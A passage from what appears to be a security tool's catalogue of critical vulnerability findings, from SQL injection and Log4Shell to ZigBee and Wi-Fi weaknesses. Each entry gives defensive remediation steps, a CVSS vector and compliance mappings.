Remediation: Revoke the exposed secret immediately. Rotate all affected credentials. Scrub the secret from git history (git filter-repo). Enable GitHub secret scanning alerts.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CRITICAL OSIFT-015 — M365 Valid Credential Found (Credential Spray Success)
Description: TREVORspray successfully authenticated to M365/Azure AD with a discovered credential. Full account access to Microsoft cloud services may be available to an attacker.
Remediation: Immediately revoke the session, reset the password, and enable MFA for the compromised account. Investigate access logs for lateral movement. Review Conditional Access policies.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CRITICAL OSIFT-031 — Weak or Default Credentials Accepted
Description: The target accepted well-known default or factory-set credentials, granting unauthorised access.
Remediation: Replace all default credentials with strong, unique secrets and enforce a password policy prior to any deployment.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.1
CISA KEV
CRITICAL PHX-001 — SQL Injection (Error-Based)
Remediation: Use parameterized queries or prepared statements. Never concatenate user input into SQL strings. Apply least-privilege DB accounts. Deploy a WAF with SQLi rules.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11, RA-5
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL PHX-004 — Server-Side Template Injection (SSTI)
Remediation: Never allow user-controlled input to be passed directly to template engines. Use logic-less templates. Sandbox template execution environments.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
CRITICAL PHX-006 — OS Command Injection
Remediation: Avoid passing user input to OS commands. Use safe APIs that do not invoke shells. If shell is unavoidable, validate against a strict allowlist and escape all metacharacters.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, CM-6, SA-11
PCI DSS 4: 6.2.4
CISA KEV
CRITICAL PHX-010 — JWT None Algorithm Accepted
Remediation: Reject JWTs with 'none' algorithm. Explicitly whitelist accepted algorithms (HS256 or RS256). Validate the 'alg' header server-side before verifying the signature.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-8
PCI DSS 4: 4.2.1, 8.3.6
CRITICAL PHX-017 — Privilege Escalation – Vertical
Remediation: Enforce strict role checks server-side before executing privileged operations. Audit role assignment logic. Apply principle of least privilege across all user roles.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1068 (Privilege Escalation)
NIST 800-53: AC-6, AC-3
PCI DSS 4: 7.2.1
CRITICAL PHX-024 — Default Credentials in Use
Remediation: Change all default credentials immediately on deployment. Enforce password change on first login. Maintain an asset inventory to track devices/services with known default credentials.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.1
CISA KEV
CRITICAL PHX-031 — EternalBlue (MS17-010) Vulnerability
Remediation: Apply MS17-010 security update immediately. Disable SMBv1 on all hosts. Block inbound SMB (port 445) at network perimeter.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: SI-2, CM-7
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-035 — Exposed Credentials in Public GitHub Repository
Remediation: Immediately rotate all exposed credentials. Remove secrets from repository history using git-filter-repo. Implement pre-commit hooks (truffleHog, gitleaks) to prevent future leaks. Use a secrets manager.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1552.001 (Credential Access), T1213 (Collection)
NIST 800-53: IA-5, CM-12
PCI DSS 4: 3.4.1, 8.3.2
CRITICAL PHX-038 — Hardcoded Credentials in Source Code
Remediation: Remove all hardcoded credentials from source code immediately. Rotate exposed secrets. Use a secrets manager (Vault, AWS Secrets Manager). Add pre-commit scanning hooks.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5, SA-11
PCI DSS 4: 3.4.1, 8.3.2
CISA KEV
CRITICAL PHX-039 — Insecure Deserialization
Remediation: Do not deserialize untrusted data. Implement integrity checks before deserialization. Use type-safe serialization formats. Apply deserialization allowlists where unavoidable.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A08:2021 – Software and Data Integrity Failures
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
CRITICAL PHX-040 — Unsafe File Upload – Arbitrary File Write
Remediation: Validate file type by content (magic bytes), not extension. Store uploads outside web root. Rename files with random names. Scan uploaded files with antivirus. Never execute uploaded content.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A04:2021 – Insecure Design
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1105 (Command and Control), T1190 (Initial Access)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
CRITICAL PHX-050 — Server-Side Request Forgery (SSRF)
Remediation: Validate and sanitize all URLs provided by users. Use an allowlist for permitted destinations. Disable unnecessary URL scheme handlers. Block cloud metadata IP ranges (169.254.169.254).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A10:2021 – Server-Side Request Forgery
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1190 (Initial Access), T1552.005 (Credential Access)
NIST 800-53: SI-10, SC-7
PCI DSS 4: 6.2.4
CRITICAL PHX-056 — JWT Weak Secret
Remediation: Use a cryptographically random secret of at least 256 bits for HS256. Prefer RS256/ES256 with properly managed key pairs. Rotate secrets regularly.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.6
CRITICAL PHX-070 — Unprotected Admin Interface
Remediation: Restrict admin interfaces to internal networks via IP allowlisting. Require MFA for all admin access. Do not expose administrative panels on public-facing hosts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: AC-3, AC-17
PCI DSS 4: 7.2.1
CRITICAL PHX-071 — BlueKeep – RDP Pre-Auth RCE (CVE-2019-0708)
Remediation: Apply Microsoft security update for CVE-2019-0708 immediately. Enable NLA. Block RDP from public internet. Isolate unpatched systems behind a VPN.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: SI-2, CM-7
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-072 — Log4Shell (CVE-2021-44228)
Remediation: Upgrade Log4j to 2.17.1 or later. Apply JVM mitigation (log4j2.formatMsgNoLookups=true) as a temporary measure. Block outbound LDAP/RMI at the network layer.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-073 — Spring4Shell (CVE-2022-22965)
Remediation: Upgrade Spring Framework to 5.3.18+ or 5.2.20+. Upgrade Spring Boot to 2.6.6+ or 2.5.12+. Ensure JDK is 9 or higher with the fix applied.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-074 — ProxyShell – Microsoft Exchange RCE
Remediation: Apply Microsoft Cumulative Update for Exchange Server. Restrict EWS and OWA access. Audit web shells and malicious files in Exchange directories.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1190 (Initial Access), T1505.003 (Persistence)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-076 — Exposed .git Directory
Remediation: Block access to .git directories via web server configuration. Remove .git directories from web roots. Audit deployment pipelines to prevent future exposure.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 6.2.4
CRITICAL PHX-078 — Exposed Environment File (.env)
Remediation: Block public access to .env and similar configuration files via web server rules. Never deploy .env files to web-accessible directories. Rotate all exposed credentials immediately.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: CM-6, IA-5
PCI DSS 4: 3.4.1
CRITICAL PHX-081 — Database Accessible from Internet
Remediation: Move database services behind a firewall or VPC. Never bind databases to 0.0.0.0 in production. Use security groups to restrict DB access to application servers only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 1.3.1
CRITICAL PHX-082 — SQL Injection – Stored Procedure Abuse
Remediation: Disable xp_cmdshell and other dangerous stored procedures. Apply least-privilege database accounts. Use parameterized queries and input validation throughout.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
CRITICAL PHX-091 — Heap Overflow / Buffer Overflow in Network Service
Remediation: Apply vendor security patches. Enable ASLR, DEP/NX, and stack canaries. Upgrade affected service to a patched version. Restrict network access to the vulnerable service.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1203 (Execution), T1210 (Lateral Movement)
NIST 800-53: SI-2, SA-11
PCI DSS 4: 6.3.3
CRITICAL PHX-092 — Zerologon (CVE-2020-1472)
Remediation: Apply August 2020 and February 2021 Microsoft security updates for all domain controllers. Enable enforcement mode for secure channel. Monitor for Netlogon authentication anomalies.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement), T1068 (Privilege Escalation)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-093 — PrintNightmare (CVE-2021-34527)
Remediation: Apply Microsoft patch for CVE-2021-34527. Disable Print Spooler service on non-printing hosts, especially Domain Controllers. Restrict who can install printer drivers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1547.012 (Persistence), T1068 (Privilege Escalation)
NIST 800-53: SI-2
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-102 — IDOR – Account Takeover via Password Change
Remediation: Enforce server-side ownership validation on all account modification endpoints. Require current password confirmation before allowing password changes. Never allow user_id substitution.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: AC-3, IA-5
PCI DSS 4: 7.2.1, 8.3.6
CRITICAL PHX-116 — Remote Code Execution via Code Injection
Remediation: Immediately eliminate all use of dynamic code evaluation functions (eval, exec, and language equivalents) on user-supplied input. Refactor the affected functionality to use safe, static alternatives. Apply WAF rules as a temporary mitigating control while code changes are deployed.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1059 (Execution), T1499 (Impact)
NIST 800-53: SI-10, AC-3, CM-7
PCI DSS 4: 6.2.4, 6.5.1
CRITICAL PHX-126 — WordPress wp-config.php Exposed
Remediation: Immediately rotate all credentials in wp-config.php (database password, secret keys, salts). Move wp-config.php one directory level above the web root, or configure the web server to deny HTTP access to it. Remove any backup copies (.bak, .old, ~) from the web root.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access), T1190 (Initial Access)
NIST 800-53: CM-6, AC-3, IA-5
PCI DSS 4: 6.5.1, 8.3.2
CRITICAL PHX-135 — LLMNR/NBT-NS Poisoning — NTLM Hash Capture
Remediation: Disable LLMNR and NBT-NS via Group Policy. Require mutual authentication (SMB signing). Enable Extended Protection for Authentication (EPA). Deploy network monitoring to detect Responder activity.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: IA-3, SC-8, CM-7
PCI DSS 4: 1.3.2, 2.2.4
CRITICAL PHX-139 — CAN Bus Attack — Frame Injection and Replay
Remediation: Implement CAN bus message authentication (e.g., CANsec or AUTOSAR SecOC) to validate frame integrity and source. Segment the CAN bus network with gateways that enforce allow-list message filtering. Monitor for anomalous frame IDs and rates. Restrict physical access to OBD-II and bus interfaces.
Effort: High
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T0855 (Impair Process Control)
NIST 800-53: SC-8, SI-3, CM-7
CRITICAL PHX-141 — USB HID Keyboard Injection
Remediation: Enforce USB device allow-listing via endpoint management (e.g., Windows Defender Device Control, USBGuard on Linux). Disable USB ports where not required. Block HID device class enrollment via Group Policy. Deploy endpoint monitoring for new HID device attachment events.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1200 (Initial Access), T1091 (Lateral Movement)
NIST 800-53: SI-3, CM-7, PE-3
PCI DSS 4: 9.1.1, 12.3.2
CRITICAL PHX-142 — Unauthenticated Serial Console Access
Remediation: Require authentication on all serial/UART console interfaces. Where possible, disable or epoxy-fill physical serial headers on production hardware. Log all console access. For networked serial servers (terminal servers), enforce SSH and certificate-based auth.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1078 (Defense Evasion), T1552 (Credential Access)
NIST 800-53: IA-2, AC-3, PE-3
PCI DSS 4: 8.2.1, 9.1.1
CRITICAL PHX-144 — Heartbleed — OpenSSL Memory Disclosure (CVE-2014-0160)
Remediation: Upgrade OpenSSL to 1.0.1g or later (or 1.0.2 branch). Revoke and reissue all TLS certificates that were in use on affected systems. Rotate all credentials (passwords, session tokens, private keys) that may have been exposed. Consider notifying affected users.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1552 (Credential Access), T1040 (Credential Access)
NIST 800-53: SI-2, SC-8, RA-5
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL PHX-145 — IPMI 2.0 Cipher Suite 0 — Authentication Bypass
Remediation: Disable IPMI Cipher Suite 0 in the BMC configuration. Restrict IPMI access to a dedicated out-of-band management VLAN with firewall controls. Update BMC/iDRAC/iLO firmware. Disable IPMI over LAN entirely where out-of-band management is not required.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1078 (Defense Evasion), T1110 (Credential Access)
NIST 800-53: IA-2, IA-3, CM-7
PCI DSS 4: 8.2.1, 2.2.4
CRITICAL PHX-146 — SMBv1 Enabled — EternalBlue Attack Surface
Remediation: Disable SMBv1 on all Windows hosts via Set-SmbServerConfiguration -EnableSMB1Protocol $false (PowerShell). Remove the SMBv1 Windows feature. Apply MS17-010 patch. Block TCP/445 at the network perimeter. Enforce SMBv3 with signing.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1021.002 (Lateral Movement)
NIST 800-53: CM-7, SI-2, CM-6
PCI DSS 4: 6.3.3, 2.2.4
CRITICAL PHX-147 — libSSH Authentication Bypass (CVE-2018-10933)
Remediation: Upgrade libSSH to version 0.7.6 or 0.8.4 or later. Replace affected SSH server implementations. Review and patch all embedded devices using libSSH. Restrict SSH access to trusted IP ranges at the firewall.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, CM-7, SI-2
PCI DSS 4: 6.3.3, 8.2.1
CRITICAL PHX-156 — MySQL Unauthenticated Root Access
Remediation: Immediately set a strong password for the MySQL root account ('ALTER USER root@localhost IDENTIFIED BY ...'). Run 'mysql_secure_installation' to remove anonymous accounts, test databases, and disable remote root login. Restrict MySQL port (3306) to localhost or trusted hosts only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7
PCI DSS 4: 8.2.1, 8.3.1
CRITICAL PHX-158 — VMware ESXi Management Interface Exposed
Remediation: Restrict ESXi management interfaces (TCP/443, 902, 443) to a dedicated management VLAN accessible only via VPN or jump host. Apply all VMware security advisories. Disable unnecessary services (e.g., SLP on port 427). Enable ESXi lockdown mode.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement), T1046 (Discovery)
NIST 800-53: CM-7, AC-17, RA-5
PCI DSS 4: 1.3.1, 6.3.3
CISA KEV
CRITICAL PHX-159 — Oracle Database Vulnerability (ODAT)
Remediation: Change all Oracle default credentials immediately. Apply all Oracle Critical Patch Updates. Restrict Oracle listener port (1521) to application servers only. Disable Oracle TNS listener remote administration. Implement Oracle Database Vault to restrict privileged access.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access), T1190 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7, SI-2
PCI DSS 4: 8.2.1, 8.3.1, 6.3.3
CRITICAL PHX-160 — MSSQL Vulnerability / Default Credentials
Remediation: Disable or rename the SA account; set a strong password if it must remain enabled. Disable xp_cmdshell stored procedure. Restrict MSSQL port (1433/1434) to application servers only. Apply all SQL Server security patches. Enforce Windows Authentication mode where possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-7
PCI DSS 4: 8.2.1, 8.3.1
CRITICAL PHX-168 — OS End-of-Life — No Vendor Security Support
Remediation: Plan and execute immediate upgrade or replacement of all end-of-life operating systems to a currently supported version. Where immediate replacement is not feasible, implement compensating controls: network isolation, host-based firewalling, enhanced monitoring, and document risk acceptance. Engage vendor for extended security support options.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, SA-22, CM-8
PCI DSS 4: 6.3.3, 12.3.4
CRITICAL PHX-173 — Brute-Force Valid Credentials Found
Remediation: Immediately rotate all discovered credentials. Enforce multi-factor authentication on all network-accessible services. Implement account lockout after 5 failed attempts. Replace default credentials across all devices. Disable password-based authentication for SSH in favour of key-based authentication.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-5, AC-7, SI-4
PCI DSS 4: 8.3.1, 8.3.4, 8.3.6
CRITICAL PHX-185 — WS-Security Authentication Bypass
Remediation: Enforce strict WS-Security UsernameToken validation — reject empty or blank PasswordDigest values. Enforce timestamp freshness with a maximum clock skew of 5 minutes and reject replay tokens. Use transport-level TLS in addition to message-level WS-Security. Upgrade legacy SOAP stacks to supported versions with known-secure WS-Security implementations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078 (Defense Evasion), T1556 (Credential Access)
NIST 800-53: IA-5, SC-8, AC-17
PCI DSS 4: 8.3.6, 4.2.1
CRITICAL PHX-216 — WPA/WPA2 Pre-Shared Key Capture and Offline Cracking
Remediation: Replace PSK with a strong random passphrase of 20+ characters not found in wordlists. Enforce WPA3-SAE where hardware supports it. Rotate the PSK immediately after discovery. Consider WPA3-Enterprise with certificate-based authentication.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1110.002 (Credential Access), T1040 (Credential Access)
NIST 800-53: SC-8, IA-5, SC-40, AC-17
PCI DSS 4: 4.2.1, 8.3.6
CRITICAL PHX-217 — WPA-Enterprise (EAP/MSCHAPv2) Credentials Captured
Remediation: Deploy client-side certificate validation against a pinned RADIUS CA certificate. Replace PEAP/MSCHAPv2 with EAP-TLS using mutual certificate authentication. Disable weaker EAP methods. Immediately rotate all credentials captured or potentially exposed.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access), T1040 (Credential Access), T1110.002 (Credential Access)
NIST 800-53: SC-8, IA-5, IA-3, SC-40
PCI DSS 4: 4.2.1, 8.3.1, 8.6.1
CRITICAL PHX-220 — WEP Encryption — Broken Protocol in Use
Remediation: Immediately replace WEP with WPA3-Personal or at minimum WPA2-Personal (AES/CCMP). WEP cannot be patched — upgrade or replace the AP. Segment legacy WEP-only devices onto an isolated VLAN with no access to sensitive resources until replaced. Rotate all credentials used on this network.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, CM-6, RA-5
PCI DSS 4: 4.2.1, 6.3.3, 12.3.3
CRITICAL PHX-221 — Open Wireless Network — No Encryption
Remediation: Enable WPA3-Personal or WPA2-Personal (AES/CCMP). For intentionally open networks (guest/public), enforce TLS for all services, enable AP client isolation, and display a legal notice. Consider 802.11u Hotspot 2.0 / Passpoint for authenticated open networks.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, PE-3, AC-17
PCI DSS 4: 4.2.1, 12.3.3
CRITICAL PHX-229 — Bluetooth Stack CVE — Remote Code Execution
Remediation: Immediately apply all available Bluetooth stack firmware updates. Disable Bluetooth discoverable/connectable modes when not in active use. Isolate unpatched devices from untrusted Bluetooth environments. Deploy Bluetooth IDS to detect known exploit signatures.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: SI-2, RA-5, SC-40, IR-4
PCI DSS 4: 6.3.3, 12.10.1
CISA KEV
CRITICAL PHX-235 — ZigBee Network Key Exposure — Intercept, Default, or Plaintext
Remediation: Rotate the network key immediately. Configure a unique TCLK per installation. Disable join window after commissioning. Encrypt stored keys using OS-level secret stores. Migrate to ZigBee 3.0 with install-code-based commissioning.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access), T1552.001 (Credential Access)
NIST 800-53: SC-8, SC-25, IA-5, CM-6
PCI DSS 4: 4.2.1, 8.3.6
CRITICAL PHX-240 — ZigBee Hardcoded Credentials or Key in Firmware
Remediation: Remove hardcoded keys from firmware. Use unique-per-device key provisioning via secure manufacturing. Enable debug port lockdown (JTAG fuse blow). Store cryptographic keys in dedicated hardware security elements or encrypted key stores protected by device-unique keys.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access), T1592 (Reconnaissance)
NIST 800-53: IA-5, SC-25, PE-3, CM-6
PCI DSS 4: 8.3.6, 6.2.4
CRITICAL PHX-242 — ZigBee OTA Firmware Update Without Authentication
Remediation: Implement signed OTA firmware updates with public-key verification per the ZigBee OTA Upgrade cluster specification. The device must verify the firmware image signature against a vendor public key embedded in ROM before applying any update. Reject unsigned or incorrectly signed images.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A08:2021 – Software and Data Integrity Failures
MITRE ATT&CK: T1195.002 (Initial Access)
NIST 800-53: SI-7, CM-6, SA-10, SC-25
PCI DSS 4: 6.3.3, 6.2.4
CRITICAL PHX-244 — Ghost Peak Attack — UWB Distance Reduction Exploit
Remediation: Apply firmware patches enabling STS (Scrambled Timestamp Sequence) integrity checking in IEEE 802.15.4z SP3 mode. Enforce STS on all ranging sessions and reject legacy SP0 sessions. Supplement with additional physical access controls (NFC tap, PIN) for high-security scenarios.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1583 (Resource Development), T1565 (Impact)
NIST 800-53: PE-3, PE-6, SC-25, IA-3
PCI DSS 4: 9.2.1
CRITICAL PHX-245 — RTLS Management Console — Default Credentials
Remediation: Immediately change all default credentials to unique randomly generated passwords of 16+ characters. Implement account lockout after 5 failed attempts, enforce MFA. Restrict management console to a dedicated administrative VLAN with firewall ACLs limiting access to specific workstations.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078 (Initial Access), T1110.001 (Credential Access)
NIST 800-53: IA-5, AC-2, CM-6
PCI DSS 4: 8.3.6, 8.4.2
